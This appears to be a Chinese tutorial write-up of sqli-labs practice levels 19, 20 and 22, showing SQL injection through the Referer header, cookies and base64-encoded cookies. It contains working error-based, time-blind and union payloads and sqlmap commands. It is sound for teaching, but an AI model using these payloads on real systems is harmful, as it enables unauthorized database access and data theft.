目录
http-referer注入 less-19
直接分析源码,可以发现源码内对较多的地方都进行了一些过滤,但是唯独没有对referer进行过滤
(真实环境基本看不到源码,这里简单写一下) (前面那篇讲挺详细了,这里偷个懒累了(˚ ˃̣̣̥᷄⌓˂̣̣̥᷅ ))
对如下靶场进行抓包
对抓到的包进行测试,发现存在一个报错的回显。
' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) or '1'='1 通过报错注入的函数,对其进行攻击,成功得到数据库信息。
ps:这篇已经讲过上面这个报错函数是啥辣(另外两个也可以正常使用)
' or if(length(database())=8,sleep(3),0) or '1'='1
此外,还可以通过时间盲注(布尔也行)进行测试(真实环境下看不到源码,没出现报错但成功得到referer,可以尝试一下),发现盲注测试成功。ps(有些电脑可能无法进行延时,可以把前面那堆删掉,只留 'or xxx 后面的再测试)盲注咋用前面也有写,有点折磨就不演示了(前面演示了)
具体使用:
' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)) or '1'='1
此外还可以通过sqlmap来对referer进行注入测试:讲下面的请求数据全部复制,用终端创建一个txt的文本文件(touch 1.txt)然后通过vim命令把数据保存进去(vim 1.txt)然后添加一个*号(意思查全部)ps:直接桌面创建可能会有问题。
ps:referer下,把前面的那个ip地址全删掉,只保留一个*也可以进行sqlmap的探测
sqlmap -r "444.txt" --batch --dbs (此前都讲过命令意思辣)
Cookie注入 less-20
cookie:服务器委托浏览器存储在客户端里的一些数据,这些数据通常都会记录用户的关键识别信息,可以通过f12(某些笔记本要加fn),在控制台输入document.cookie得到cookie,也可以从浏览器设置里找到之前保存的cookie。而cookie通常都会在用户访问一个新的页面时,进行生成。而后将其存到服务器中,后续访问页面,浏览器可以通过这个cookie,直接向服务器进行请求。服务器收到后,发现这个cookie之前是访问过的,就会把其对应的信息返回回来。
cookie注入原理
1.获得请求得 cookie
2. Cookie 数据没有做特殊处理
3. Sql 语句得执行使用 cookie
由于代码中使用 Cookie 传递参数,但是没有对 Cookie 中传递的参数进行过滤操 作。导致 SQL 注入漏洞的产生
由于上述所说的cookie原理,一开始是不会有cookie信息的,但登录后,就会自动出现一则cookie信息。登录后刷新页面,即可看到cookie的信息(ps:请求包是get的哦,post包看到cookie可能是缓存在作祟)
通过字符对cookie进行判断,发现存在报错,并且注入方式为'
' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) or '1'='1 通过报错注入的函数,对其进行攻击,成功得到数据库信息。
' and if(length(database())=8,sleep(3),0) or '1'='1# 也可以通过盲注成功注入。(ps 此处不能使用or 因为按照之前万能密码的讲解,如果使用or 前面的admin' 就会变成右边这样’admin‘(拼接),而or只要一边成功即可执行,就不会进行延时的注入)
具体使用和上面一样
此处也可以使用sqlmap,原理与上面那个一样ps:(后面的那个proxy是通过代理看了下包,可以不加。)
cookie是个
Cookie base64编码注入 less-22
base64 一种编码格式,可以使用工具进行解密,举个小例子
对 ABC 进行 Base64 编码过程 - 首先取 ABC 对应的 ASCII 码值 A : 65、B : 66、C : 67
- 再取二进制值 A : 01000001、B : 01000010、C : 01000011
- 然后把这三个字节的二进制码接起来 010000010100001001000011
- 再以 6 位为单位分成 4 个数据块并在最高位填充两个 0 后形成 4 个字节的 编码后的值 00010000、00010100、00001001、00000011
- 再把这 4 个字节数据转化成 10 进制数 16、20、19、3
- 最后根据 Base64 给出的 64 个基本字符表,查出对应的 ASCII 码字符 Q、U、J、D 这里的值实际就是数据在字符表中的索引。 解码过程就是把 4 个字节再还原成 3 个字节再根据不同的数据形式把字节数 组重新整理成数据。
登录靶场并进行抓包,发现此处的cookie似乎是被加密了,通过bp中自带的decoder解码器进行解码。(外边的解密网站也可以执行)
将更改后的base64编码(YWRtaW5c)发送后,出现报错。判断这里存在一个sql注入,通过"闭合
进行sql语句的编写,并将其转换成base64编码
" and updatexml(1,concat(0x7e,version(),0x7e),1) # ps cookie注入的注释符好像只能用#
将编码放入cookie中,得到数据库信息。
具体使用:
可以使用union select进行查询 (报错的查询没整出来)
" union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
也可以使用sqlmap进行爆破
步骤基本同上
sqlmap -r "555.txt" --dbs --batch --tamper base64encode.py --proxy "http://127.0.0.1:8080"
这里使用了给 --tamper xxx 这个tamper是指定使用sqlmap自带的一些内置函数,这个base64的函数就是来对base64编码进行编译的,从而正确的对其进行爆破。